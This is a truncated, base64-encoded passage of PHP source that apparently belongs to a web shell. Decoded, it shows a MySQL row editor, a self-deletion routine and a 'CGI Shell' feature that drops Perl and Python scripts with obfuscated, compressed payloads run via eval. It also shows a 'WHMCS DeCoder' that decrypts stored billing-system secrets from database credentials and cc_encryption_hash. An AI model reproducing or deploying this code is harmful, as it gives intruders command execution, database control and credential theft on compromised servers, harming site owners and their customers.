JnZXQ9IicuJGRiWyJkYiJdLiciIHRibF9uYW1lPSInLiRkYlsidGFibGUiXS4nIiBjb2xfa2V5PSInLiRjb2xfa2V5LiciIGtleT0iJy4kaXRlbVskY29sX2tleV0uJyIgb25jbGljaz0iaG9raU15c3FsRWRpdFJvdyh0aGlzLCBcJ2VkaXRcJyk7IiBzdHlsZT0iY29sb3I6IzBhY2FhNjsiPkVkaXQ8L2E+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGEgY2xhc3M9ImRiLW9wdC1pZCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgZGJfaWQ9IicuJGRiWyJkYl9pZCJdLiciIGRiX3RhcmdldD0iJy4kZGJbImRiIl0uJyIgdGJsX25hbWU9IicuJGRiWyJ0YWJsZSJdLiciIGNvbF9rZXk9IicuJGNvbF9rZXkuJyIga2V5PSInLiRpdGVtWyRjb2xfa2V5XS4nIiByb3dfaWQ9IicuJGxpbmUuJyIgb25jbGljaz0iaG9raU15c3FsRWRpdFJvdyh0aGlzLCBcJ2RlbGV0ZVwnKTsiIHN0eWxlPSJjb2xvcjojZmYxZTFlOyI+RGVsZXRlPC9hPjwvdGQ+JzsKCQkJCX0KCQkJCSR0YmxfY29udGVudCAuPSAnPHRyIGNsYXNzPSJ0Ymxfcm93IHRibF9yb3dfbCcuJGxpbmUuJyI+Jy4kY2FjaGVNc2c7CgkJCQkkbGluZSsrOwoJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSl7CgkJCQkJaWYoJHZhbHVlID09IG51bGwpewoJCQkJCQkkdGJsX2NvbnRlbnQgLj0gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsKCQkJCQl9ZWxzZXsKCQkJCQkJJHRibF9jb250ZW50IC49ICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7CgkJCQl9CgkJCQl9CgkJCQkkdGJsX2NvbnRlbnQgLj0gJzwvdHI+JzsKCQkJfQoJCQkkdGJsX2NvbnRlbnQgLj0gJzwvdGFibGU+JzsKCQkJaWYoISR0aXRsZSl7CgkJCQkkdGJsX2NvbnRlbnQgPSAiPGRpdiBzdHlsZT0ncGFkZGluZzo1cHg7Ym9yZGVyOjFweCBkYXNoZWQ7bWFyZ2luOjEwcHg7Jz5UYWJsZSBpcyBlbXB0eS4uLjwvZGl2PiI7CgkJCX0KCQkJZWNobyBAanNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyIgPT4gdHJ1ZSwgInRhYmxlIiA9PiAkdGJsX2NvbnRlbnQsICJjb2x1bW5zIiA9PiAkY29sdW1ucywgInBhZ2VzIiA9PiAkcGFnZXMsICJxdWVyeSIgPT4gJHF1ZXJ5KSk7CgkJfQoJCUBteXNxbGlfY2xvc2UoJGNvbm4pOwoJfQp9CmZ1bmN0aW9uIGhva2lzZWxmcm0oKXsKaWYoaXNzZXQoJF9QT1NUWydob2tpMSddKSYmJF9QT1NUWydob2tpMSddPT0neWVzJyl7CmVjaG8oX19wcmUoKS4nPGNlbnRlcj4nKTsKaWYoQHVubGluaygkR0xPQkFMU1snX19maWxlX3BhdGgnXSkpewplY2hvKCc8Yj5TaGVsbCBoYXMgYmVlbiByZW1vdmVkPC9pPiA6KTwvYj4nKTsKfWVsc2V7CmVjaG8gJ3VubGluayBlcnJvciEnOwp9CmVjaG8oJzwvY2VudGVyPicpOwp9CmlmKGlzc2V0KCRfUE9TVFsnaG9raTEnXSkmJiRfUE9TVFsnaG9raTEnXSE9J3llcycpewplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj4iOwplY2hvICIKPGNlbnRlcj48cD48aW1nIHNyYz1cInBuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nXCI+PC9wPiI7CmVjaG8gJzxwPjxkaXYgY2xhc3M9InR4dGZvbnQiPkRvIHlvdSB3YW50IHRvIGRlc3Ryb3kgbWU/ITwvZGl2PjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWxmcm1cJyxudWxsLFwneWVzXCcpOyI+IFllczwvYT4nOwplY2hvICc8L3A+PC9jZW50ZXI+PC9kaXY+JzsKfQp9CmZ1bmN0aW9uIGhva2ljZ2lzaGVsbCgpewpob2tpaGVhZCgpOwokZGl2ID0gIiI7Cmhva2lDcmVhdGVQYXJlbnRGb2xkZXIoKTsKQGNoZGlyKCRHTE9CQUxTWydob21lX2N3ZCddIC4gIi8iIC4gX19IT0tJX0RBVEFfRk9MREVSX18pOwppZighaW5fYXJyYXkoJF9QT1NUWydob2tpMSddLGFycmF5KCdwZXJsJywncHknKSkpewokZGl2ID0gIjwvZGl2PiI7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ0dJIFNoZWxsIHw8L2Rpdj48L3A+PGgzPjxhIGNsYXNzPSJyZWplY3RtZSIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJydW5jZ2koXCdwZXJsXCcpIj58IFBlcmwgfCA8L2E+PGEgY2xhc3M9InJlamVjdG1lIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIG9uY2xpY2s9InJ1bmNnaShcJ3B5XCcpOyI+fCBQeXRob24gfCA8L2E+JzsKfQppZihpc3NldCgkX1BPU1RbJ2hva2kxJ10pJiZpbl9hcnJheSgkX1BPU1RbJ2hva2kxJ10sYXJyYXkoJ3BlcmwnLCdweScpKSl7CkBta2RpcignY2dpaG9raScsMDc1NSk7CkBjaGRpcignY2dpaG9raScpOwpob2tpY2dpaHRhY2Nlc3MoJ2NnaScpOwokbmFtZSA9ICRfUE9TVFsnaG9raTEnXS4nLmhva2knOwokcGVybCA9ICcjIS91c3IvYmluL3BlcmwgICAtSS91c3IvbG9jYWwvYmFuZG1pbicuIlxuIi4ndXNlIE1JTUU6OkJhc2U2NDt1c2UgQ29tcHJlc3M6OlpsaWI7ZXZhbChDb21wcmVzczo6WmxpYjo6bWVtR3VuemlwKGRlY29kZV9iYXNlNjQoIkg0c0lBQUFBQUFBQS82VVpEWGZUUnZLdkxCdGhTUkJidGt0YXpySmNRdUpBM2lVaGx4anU5YUpnWkdsdDcwT1dWSDJRcE1iOTdUZXp1N0trRUtDMHlVT1JadWQ3Wm1kbWx5Smo1UFQ0ZER3WXZQUXk5dk16dXdEQUVRK1pCRVRlaWduUXdVMUFkRytXVFJNdlgrcTI1aS80Tk9BcGNRZzhFY3NvRncydGE1cTI5bDhlblUxZ3VXdHJaNU9EVlhESkV2aWlMV3ByYnlOK1cwRnNnQnpFcTVVWEJSTytZbkdSSHhhcGwvTTRndFVla0Y4dTQ1dkRPNURCL1RkRm5oUTV3bTBOdEJLQzRXdkI4akJlOEloOC9venZ5VTNCQTBNYm12aE52WER1b1loU29LRlUrNVZVaWcxSVRTbFRJSitEd1hWazZnY1U4R2h5RTFEQU9BZEw3L09qcml0UUxFUzRZT0FZNXVkeDJzUWgvVkdyUjNxalZsL2c0bHRQd0lBb0syYmtnbm5CdVplQ3k5ZGg3SHNoTVo3d3lBUWVMNmFFeitGcEs3REdkNGtHNy9EOHlPN2crY2tMUWU1cEVlWTg4ZEw4S0U1WGgxN3VBYWsyUG51MzFnL2VuRTNHWjVQcDVMZnpzYjRoenAvRVdwWElyalVIOUhZQStEYVp4VVVVZU9tZFkzU2VtcHBsODdraE9WeU0vL04yZkRtWm5vNG5yOThjQWcvMk82R3Z4aE5xcmpVZWJRVUIwc1Z2MDh2SnhmSFpLMzFqYjFpWWZadkYrWnRMNUpHQzZjYmw1UEQ0REt6aDBlNDl2VS9HWjY4bXIvV05hVysyN1A2dVRhRHdTd1VCdGZWMlcrOW9QZnRGeURQTXJpd0plVzVZV3hSTDZBUE9mUTBhc3ZSbEhDQ1ZodGhYdmVzbUdEUndVemZDZjUvaFQyU1Z5MGp4d2RaS1lyMTgvWk5rZ2tLekFKVkhhMzBPdXcrVlJudUlRS3BZQUhkY3hyeDNYSXEydUxRa2svaTkycGRnVFMxcmNSK1dJUXk4QTBuazlHMWxpY2F2NFpVL2ZRck9LUUVTLzMzbnFaQW9WS3d2QVhmRHZWRktRQllxQlNBVGxZbmlEVmtZNzQyR1cwenpzd0JvOEtXWlFzVXQ3bU9qMHpHdHhQTS9HdFNudTJUSmJnMnRaNXJXZ2dsRFVKS3dGU2pzRGFZWFc3OFErYWNDMXlvREJpWXl6MS9DQnpHNnBOTWgyZzZBTVZrcjQ5eW5GZ0h4Um0wWFZad2N5UW14ZDBuZlZFWitWOGtmTktVRFpkRHRVdHpmUnNEbVBHSlF2c3BWTEtaMVRHWDFCb3ZGMnlTTXZRREw5ZHBmeG9taFRid1VDdUFaQk1zVTNHb0FkTmhCa2FZc3lnOTVhcUorSyt2S2RWM3JHdmE0TmttOUtKdXpGSm1KdFVmRzFYdnJ2ZXRlUHpHMVIzYWRFU3FoNmgvdUdyV0VoSmY4RDVURG85eUFKRjFnTTJobXRFa3NxT245WnlZV2xUaGhrZkgyL09UTi91SFI4Y2w0bDlCUlRRdzF6ZldNUjZzNFlEVWtZWmFzcG5hU2dpQlNyWkY3d213L2pMTUdzU0tocGJFc0lQZTEvL2ZMamh0UmhhaFBsb3dnUTBMMXprejF3NGFYT3pvbE4xNUdDaEVKNEpjVnZzK3liRjZFNFYxSGw4bXBwQjU1cUJyMG1rZlVsdkU3eHdVVXJRSUo5WXFzTlN4YldKV0dQc1NLcGFPaEFNUVJVS3g0N3RCOHliT08vT2dFUFBObXdOWEowNExaWWlYb1FJWVV6Sm5sc1djVUVjdDhMMkVHaTN6dzVOdUxZK2kxU1J3Qlo2T09iVUthVVFKSStWM0NITG90b2xVTnBXVEY4bVVjT0xKY0U4L0hIdTJBWTdSTFArVkpmZ0o5Q1VIZ2t0RXc5R1lzSkVEc1VPV2FGS0JaNGtXRUE0dnBkSTZ1TEJJQVdnZ2RrV0dXcDNHMEdMV2lXWmJZOG5td2pDR0N4Qk14QUVTSk1iUUU5OUdRUnpnTlpQbGRDQ3FESjVMUXV4dEVZQnlZZ2xLMmtzRjUvdEtMRm9nVys4VUtyTzlBQk1jaHc5ZVhkOGVCNGVwYm5WemQ3UEFvWXVucnllbUpJN3lFOHJPcjduVkhERVNVU0M4aGxCSlJHdW1ja2d6eXg2RS83ZEZTTTdraUkxWFNsRjh5UmtyRkxZWEVXZklnWUZISk9kZ2lnNnVySFN6Yy9IVXE3MHNSSXBid1I2V1ZMaHI3Rkt3U1RUaGxlWkZHb2czakN4RnBhTmNUV0VHcXpEMzNGa3gycHJVMkZ2a1ZWUG8xNjQzOUVJSm9ERmZ2dmZZZisrMy9kZHYvdWpZdC9iSGVLU0paTUY4L29idFFMQzIyS1BmdFFReWFSM2tiRFI2UW5OM20xakpmaGRoUXRsdDJpSkRSY0FsNmpZWTV6ME0yT2tEQlpIWkg5aytPOXNtRTdaK1NOamw0ZFV6T1dSb09MWWswRkhrMGVyS0dDVFNFRWl3VGFiT3pUWXYxSFB5WUQwaktGOHZjamoreEZBQTNBK2wyMjQvRE9CM3M5UGZtODI3WHZ1RkJ2aHowbm5XVFc3dE1UQ2lMeUxjOWc2SHRvNDNLdDdkTUNBdERubVE4czIrV1BHZHQyQkkrV0JqRk42bVgyQnVSNytzVmxCMGV0WVg4QVpSUjRBMzBPWWR4c08yRmZCRU55QXFVQ1prOWkxTUlDdUFrdHlTTFF4NFFLSFgyREx5NlNIR21BZDloQllRTkR0NEU3TnQydHZRQzFLTUx2OCtBYXFjNy9xbjdiRjl4YXFkZXdJdHNnRXZLTnRMZlF3Vit4QXkvU0RQd0VVbGlqZ240RmNkSVk0bmM2K3U2em1pRGlrSEk1bm1wU0U5NFlpTzJ3cFhZQ25LUFhhK1Z3RkplblpjSTdzTnVrcEVrY1lvRjR5RUhiSGI4VmJEK1c5eEszLzJDS2o4UXp3ZWtKVjRROEdqUlZrN0tjcWpLQTdMMzVRcERUUkMrd2FCQWFEM1l5bGlUbEg2TnZLNXBYMU8rRkZ6VHBXN1B6cEg0S1FVUGVqOERta3I4dmVmKzN0N3pNdkc3M2NmVkR2R0tQTFkzV0w1eGd3MHR1VFZuT1AzR0VkYW1iMVZsY0RYVzR6a2daQWIycU5sQ1NIVG9UbGY4UUdHTkUrbEtoOElYcGtidFU3NEt0V3JmUzRaT0Z3QjBGakNUcGtHVnJKb3VWQk1sQ2dKSlIxZGtPS3RLQ1hpRWtjd0xTQXZTOXhQUE9IUmg4cWNBcTY4WGl4VTAvSTRmcjRiV2JFU3VzZjVHZVZWL2h6bDJiaUxkN05BZURCSlNTL1FlSlQ3c0pkdy80R2loSjM0cnh6dTBENHJteUNKb0VDbXQ1N0RySFBxT3BZRVhlV1ZmUWhKUW8ySFhUcjgvN3ZlZmk1WExTbk55c09DcU5zNUdTbTBDdFRlQzh5eFluOGNFbXo1TEljQTRCSFYwaVpjSCtNREcwbXdSUjNFTTlwWlRrTko3UkR1dEI4WWZZOXVIT3JUaUNBLzBGZnpGck1FVXdocFBhM0xVRGNJSkpQZ3hGZ0xrdGRiT1V4aDI4RVJYbmI5clBXbEV4QkVjNGlybUVqbEg2Q3FmdXovOUFpNjFkZEJ6ZTlXQUtvbGg1Y1gzS0dyT29kV0E4eVZOZnpabnZUMmdxYWxWNGwrN0dxRjJOUTJpTTJZL1BBM0tsZVc5SmVqOGpWV1lsaHhYWDhKT1d6ZG1TRmVIU0t1N25vN3U2aHV4NnYvUWhPbFhFK1kvblUrM285YVBqS0ovYTdJQ2dFd2VTTzQ2QTZ3V0pia3ZwMHlvVU52WnIvc1haekpmcHVzOTdISTJiTTZOaW1RMG9vM1pXRDYvUzcrVVNrWmlCZzY1LzlHaEVIdy9qdVljZHB1cjc2ZU0zTVVGbkZ2ZzVWZElBSlVCUUNRU1FrNkFSQTJGY3c4KzdLMU9yMk00cDFXREpXVG9QeG9xbTllQWErRDBTRzVjYysyRkhxamJOYXRKVUtBU2R1c3poaVY1NWQzeVZiRWlPUkNUR002SVg3bFR6QmpZSGhpWldaN0J4cmZNTDNKV01seHZXdHNyT1B0ZU9tMXZ1QzRQTG83UEo5T3ovZE14SEROcnU3M0NHRis4RzE5c01acW5hMUpleDlpYVROMFNoSWRXN2FLSVNtVWNFakRjRnRPWnVKeVZwMmtmcjhDMHhxRDlBRmFBV1BKU29JSDZRVjF1ZnNDVGRHTU40MFhGd2J5aEFsNFR2SGV6SjM3Z1prL3h4Z2t2ejJDd2dCT2l2Tzc1TG9GOW4wTEd2M2xGcWk1b096V292ZEhlaE1FRFI0bktQZFFQaUZ1djZTNkY2cXRZNGFLU1d3R1YrVjl4aldUOHdiUTNyWHNuSEx5L3dYdmZ2OVJSdGgzRGZWRlBqaHFtTE83M1d1SXc0Si9LQnFHR1E1eG1CbjBjeC9TUkdEK2s1WU9IdW9tYU1VVURxZ0t5YlVDeVNZT0kwVEQ1dHFqR1lGb0tMNGRLa3NZM21hUDN1enJKRXBoSi9DV0RvcUtMeWdDaVJUcW9yTWFNVXFkUGM5MnFMcXZLQlBpTGNhd2JVMCtQZW4zUUxvOWZyZlg5azR0VGNRM3F0cHJiMzViMTR5dEZRZDBvZi9FZkRjRDJzOU9yOGczdjZjaG5hb3VMS3dXVW1MdmJlbVBpMFNka3hyQ3hQZ0pXVTNYZ3hSdlExSTFNdkUxVkNhQk44UUM3QVduZFJuR3NNbEpvK0dVMTNHektGTExLK0pReHRwTGFTRWJ0MWxmSEpMdDFiMUt6L3c4d2JsUytGUm9BQUE9PSIpKSk7Jzs7CiRweSA9ICcjIS91c3IvYmluL3B5dGhvbicuIlxuaW1wb3J0IHpsaWIsIGJhc2U2NFxuIi4nZXZhbChjb21waWxlKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKCJlSnlsRjl0eTJ6YjIyZm9LREx4YlVxdXJGVHZONk5hNlhxZjFiTk5tRXJjdnRrY0RFcUNJQ1Fsd1FkQzI2dkYrKzU0RGtCTFZhT08yYTgvWUJNNzlmbUROWnRvNWtubWhqU1h4V3RwbzV2OE5oV0pSSnNKdVJ6ekdvckNBVmJDeTdOU281YWJzQTE1ZmwvMjFzQWpwUjZ3VXIwLzdsY2t5R1hVU28zTmlaUzVJUTJGTmd1ZUdnelVzRmhHTFAzblVqOVpJdGI3NnVVRnZ6aldqQnJrQkZ3QzFLMUN0SXhPaVM5RDJYaHF0aGlrclY1L0VKcVFmTHo1Y3ZiOWUvWFQrN3BKMlFma3lOckt3aW9GQ2l4YkJ6UjdpWFVka3BmZzlOcVVkTGhMQ3NvUmQ1RHlNa2QxUm5NcU1yMHJMcGVxVDdVRlgxck12ZENIVUJIRDNVWWR4cGt0MDZ0R1JFV1dWSVhhYmVHZ0U0K0VlRWQ2MnFXeGxGUEhFblVTYkhEbXM1ZkN0RkJuL2FMVmhhOFNNY3c0QWhBOGhQdmNzcTBRWXhFRzN3Nlg1SE1BQkFINEVJakROay9vd0RpdjE3MHBiRWZyZ0RxUFhwMXpFbW9zUXNMcU9DQmdDa1dmN0VoRmdkVnVTL01mTmVQcnFqaXdXSklnNUNkQzN5cXZnenFTSEV1QnZNTU52aE9CMzhjQUR3THlvakJISy90Tkpid0tFNUYzd1pKRkIwb1RCclFyNmdUZFFhZXU0TVFXY2Q3U0JBMGhGTWgyenJBd3h3QWM1QnlqMkFPczZhMERDQzF6MzJZSXFIWWpkeWpzUHM0YlpkTWlpRXYrSGRFaTduZmVRL1FWbVNYQkQ1bkN2b0k0Mm1WalFXR2ZhVEkvSHI3NCtHWTluZEJuMDZqckVzRmFsTUdHM0Y4eEhTTEw4OWdYS3ZYSzQvUERyNVllNkhMWWNEc3FlUklrNE9YTWNkbWJ0U083K0ZxRFBWeXNzbzlYS1JYaTF5cGxVcXhXRzJaVXdvUmRhV1NBZDJFMGhwc1NLUnp0S2JaN2RtbHRGRzZSZ2psZkxlUXJWc1p4YmFUT3h2SUNFNGlUYWtQTWYzNTZUYTNIK2pnekl4ZmRYNVAzR3Bsck5SeDV0bmd2TG9NYVlLWVZkMEYrdTN3N2UwT1hjV2JMOHh4TlVWeWFWbUNxdHhPejVlTFZLVU51cWVFb3l6ZXlVR0xsTzdVemZDd01YRDFPU1NzNkZtbmtQa09QSldaS0FFeDhrdCttVW5KeU9pOGNabHlXa3gyWUtvVWZXZ3dqaS8ybUdoZzEyZkFRVVNsSEtjdmFRU2lzRzRMRVlyRmY2d2JCaTlweXhTR1JQT1ROcnFRWk9CV0NPdklIZVNzaW1BY3ZrV2sxSkR1cGtZaFpwd3dYb2MxSThrbEpua2tPRDREUHNsMnVqSzhXbjJFQVZDTUVnQWZiam9Fd1pSejNHOEhzS1ZNZmp5MWZqMC9PYTA4QXdMcXR5aXFER3VNa1pLdkJueklnclU2S1hDZzB4Rk9aL09NWWJpK05CcS9WVFcyZTBvUTVESmhLNzliTHp4TE5VUldWdk1Hc1daUlhsMHQ0OTFRSWJlVzFlTHI2SDNWVEhFanFuV290RERuZytob2J5OUplNE5iNzdHbFUrRU04RDBnckdZVkNzQjdXVFNzc01ZSjk5RGhHb0NkNC9ZMUFndE93SnhvTDhUZFQ2N2FWMlMvdVc4bzNnbGk1dGU0N2Z1cDlHOFBUa05hRFZ4WC8ySmo0N2UxTWJDSTNrNzdzaVlaWFZzMmRvQTY3RzVpTmZ0WkhtRzZJVnhKTXZLTmR4bFVNdVlyTzZ6QVIrZnJlNTR1RnRBSzYraFJhYkFBSzB6QmtsMGRwSlhORGpzZnVoeE9yQ3UzSkI0WVNwMFRyNlQ2ZFc2NXdLZExxN1FHY0JNMjhhZElKWVlMSXM1d24wSVZLTGdrRFNKVFRjYU5kbHdDT0NsSXlUcnlCOTcyVXBZVGtpLzNIWDllbmJOZlMyYkJqcmZENktvUDNOUjhnUzdHOGtXRnlvaUhmemdwNVFVbXVKM3FNa2hsckMrZ0ZIT3ozeFhEdCtRU2VncUVVVy9JQS8ybXhxT3hLb3d3WDlWUmpPRktNRXM4SXpBY1gyTEQyZVRDNG5remNPOG5GbkM3bFl5MjBqalphMUtRUjZ0Ukt4Qlk5WVRWNllHMGhsT2Y0eGplN0xvSm41Ukpia0o4aER0MG01WVU5YnpaN0wrMmJVMURXRFFaNU9NRXVkcGhjNnozR0dUdy9OcGJyMFlDejFVVlNmTkJQSjZ3VE1sL05pK1VVaGU1WGFpRzJxakJqOVVJSTN3Zk5sQVVHS1V4Ri9XdEFFWnJ5Z3RZbEJJak1SNFBESFRRdXR0RzdSUGpwQ1FJSzdXcjJGM1hqVU80VFZHd3FFUUVIWks5Z3d0dGg5a3NuU3VoWGlpSkEyazV2dDRhN2pCR2pqNE5DUGM2ZEFBM2EwS0tPQkR2RUR4NTJIRU9Dclduc0libThJRFQvRDcyN3hxeXhiNFMyUXRUWWJXTkJHdUt3bHFrSEViVGpjWWtOSUhpSW84Z2NEYlBmWjF3dndUZ0xjWWZhQ0FNaU5FSFFEejlnZHF5NmNWNGd3T2hsUFRyZGs5VzV4alZNdkVWRE9oUFpnd29RTnUyNlBrbjk5TjZUNytNRjFLcHhFUW9OZW9ub0IxQllyU1ZWZzB3SWVaUlhIb2l4UitHYUk2NmQvR3BGTDkwOXFlQWtJWTV3M1BVTTRkWTdxNVhDYkFSNjBYU25ySlhmZmZjMnUyejBzeFBQQjU5aTJaa1pOZWpZcFBpb09GT0E4Y3AwT1hnMWErYW01b0RhVjRGVjNHTUtJeGliRkY5WlVZdGFDcEw4RHlTVGNnMHErV053R0tiVHVKM2ZQaCs1cEFYZEJyMTV4ZThGdDhPeUFjUTJNckdaaHBVUVpzMEtFUXVFYjRaY1BWMURkQmZRR0NIY2J1OXZ0enZaWS96RnF2cU9tQkpNWEtoV21nb0RXQm5Qby9jOGZyeWxoTWZwMUFVSGZ2ZnNnK011NTJ6R0kyekdvMy93YUhwd1Nyd1hkWDM1eEdmWTdleThnZS9RWUgwckFUeFRpMnJDSktkbVg0djNaZ0p1VDc5K3Z4bHVoeXlWZGZxWGdvVEJyLzMyUlUrb1ZBQ3UwaWpPSmJRc0NHV3VWU0pQRDhEMDNnbXgwQllrT0g5OUFNT3RvQXBFTDd1d1prNW5VajFEWDhXWmJuWDdRT2ZRL0hCVW14emE0eTh4RFNiZ2J1MzhtR2YrUDJBT1NkMHdPTDJjSnE3QjFtZzQ0cyt3UEo0VGZWUk9jbkhWWE1QaVl3Qm1FanQwK0g5QVB6Y1BKTGJaNzBicElOYnpuQ1hPOUJ2Y2toekVmT2U1TlB0U3pxVm1hM2RibXc3ZVZqRkZNY2RoOWFhSGE2b1JybFlUNWJYNjRmdmZqd2puSXRjT2I4ZDBRTVlDN2R4RGVibXZGZmRmNWQ3WXRpZjMwM0UrNE9oMjhsbit4aUw1QXhENlg0Rk51dDJqdE1tN2tkaTZjL0xCOTRpcUt6OGpndjExTlZabz0iKSksXCc8c3RyaW5nPlwnLFwnZXhlY1wnKSknOwppZigkX1BPU1RbJ2hva2kxJ109PSdwZXJsJyl7JGNvZGUgPSAkcGVybDt9ZWxzZXskY29kZSA9ICRweTt9CmlmKF9fd3JpdGVfZmlsZSgkbmFtZSwkY29kZSkpewpAY2htb2QoJG5hbWUsMDc1NSk7CmVjaG8gJzxpZnJhbWUgc3JjPSInLl9fSE9LSV9EQVRBX0ZPTERFUl9fLicvY2dpaG9raS8nLiRuYW1lLiciIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjYwMHB4IiBmcmFtZWJvcmRlcj0iMCIgc3R5bGU9Im9wYWNpdHk6MC45O2ZpbHRlcjogYWxwaGEob3BhY2l0eT05KTtvdmVyZmxvdzphdXRvOyI+PC9pZnJhbWU+JzsKfQp9CmVjaG8gJGRpdjsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lXaG1jcygpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwpmdW5jdGlvbiBkZWNyeXB0KCRzdHJpbmcsJGNjX2VuY3J5cHRpb25faGFzaCl7CiRrZXkgPSBtZDUgKG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCkpIC4gbWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKTsKJGhhc2hfa2V5ID0gX2hhc2goJGtleSk7CiRoYXNoX2xlbmd0aCA9IHN0cmxlbiAoJGhhc2hfa2V5KTsKJHN0cmluZyA9IF9fWkdWamIyUmxjZygkc3RyaW5nKTsKJHRtcF9pdiA9IHN1YnN0ciAoJHN0cmluZywgMCwgJGhhc2hfbGVuZ3RoKTsKJHN0cmluZyA9IHN1YnN0ciAoJHN0cmluZywgJGhhc2hfbGVuZ3RoLCBzdHJsZW4gKCRzdHJpbmcpIC0gJGhhc2hfbGVuZ3RoKTsKJGl2ID0gJG91dCA9ICcnOwokYyA9IDA7CndoaWxlICgkYyA8ICRoYXNoX2xlbmd0aCkKewokaXYgLj0gY2hyIChvcmQgKCR0bXBfaXZbJGNdKSBeIG9yZCAoJGhhc2hfa2V5WyRjXSkpOworKyRjOwp9CiRrZXkgPSAkaXY7CiRjID0gMDsKd2hpbGUgKCRjIDwgc3RybGVuICgkc3RyaW5nKSkKewppZiAoKCRjICE9IDAgQU5EICRjICUgJGhhc2hfbGVuZ3RoID09IDApKQp7CiRrZXkgPSBfaGFzaCAoJGtleSAuIHN1YnN0ciAoJG91dCwgJGMgLSAkaGFzaF9sZW5ndGgsICRoYXNoX2xlbmd0aCkpOwp9CiRvdXQgLj0gY2hyIChvcmQgKCRrZXlbJGMgJSAkaGFzaF9sZW5ndGhdKSBeIG9yZCAoJHN0cmluZ1skY10pKTsKKyskYzsKfQpyZXR1cm4gJG91dDsKfQpmdW5jdGlvbiBfaGFzaCgkc3RyaW5nKQp7CmlmKGZ1bmN0aW9uX2V4aXN0cygnc2hhMScpKQp7CiRoYXNoID0gc2hhMSAoJHN0cmluZyk7Cn0KZWxzZQp7CiRoYXNoID0gbWQ1ICgkc3RyaW5nKTsKfQokb3V0ID0gJyc7CiRjID0gMDsKd2hpbGUgKCRjIDwgc3RybGVuICgkaGFzaCkpCnsKJG91dCAuPSBjaHIgKGhleGRlYyAoJGhhc2hbJGNdIC4gJGhhc2hbJGMgKyAxXSkpOwokYyArPSAyOwp9CnJldHVybiAkb3V0Owp9Ckhva2lOdW0oOCw5LDEwKTsKZWNobyAiPGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgV0hNQ1MgRGVDb2RlciB8PC9kaXY+PHA+Ii5nZXRDb25maWdIdG1sKCd3aG1jcycpLiI8L3A+PGZvcm0gb25zdWJtaXQ9XCJnKCdXaG1jcycsbnVsbCx0aGlzLmZvcm1fYWN0aW9uLnZhbHVlLCdkZWNvZGVyJyx0aGlzLmRiX3VzZXJuYW1lLnZhbHVlLHRoaXMuZGJfcGFzc3dvcmQudmFsdWUsdGhpcy5kYl9uYW1lLnZhbHVlLHRoaXMuY2NfZW5jcnlwdGlvbl9oYXNoLnZhbHVlLHRoaXMuZGJfaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIj4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZm9ybV9hY3Rpb24nIHZhbHVlPScyJz4iOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl91c2VybmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl91c2VybmFtZScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9wYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9wYXNzd29yZCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2NjX2VuY3J5cHRpb25faGFzaCA6ICcsICdpbnB1dE5hbWUnID0+ICdjY19lbmNyeXB0aW9uX2hhc2gnLCAnaWQnID0+ICdjY19lbmNyeXB0aW9uX2hhc2gnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8cD48aW5wdXQgdHlwZ